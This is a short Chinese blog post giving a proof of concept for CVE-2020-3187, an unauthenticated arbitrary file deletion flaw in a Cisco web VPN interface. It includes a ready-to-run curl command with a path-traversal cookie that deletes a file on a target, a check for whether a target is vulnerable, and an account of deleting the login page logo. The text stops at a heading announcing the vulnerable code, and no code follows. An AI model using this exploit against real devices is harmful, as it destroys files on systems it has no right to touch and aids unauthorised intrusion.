链滴

CVE-2020-3187(未经身份验证任意文件删除)

作者：Mrq123

原文链接：https://ld246.com/article/1596629715461

来源网站：链滴

POC
curl -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://target/+CSCOE+/session_password
html
https://target/+CSCOE+/session_password.html
返回 200，即证明存在该漏洞。

在 cookie 传写入删除的文件，以页面中 ciso 图片为例子：

也就是，https://target/+CSCOU+/csco_logo.gif
在 cookie 中写入 token=../+CSCOU+/csco_logo.gif

如上图所示，删除掉 ciso logo 图片。

漏洞代码如下：
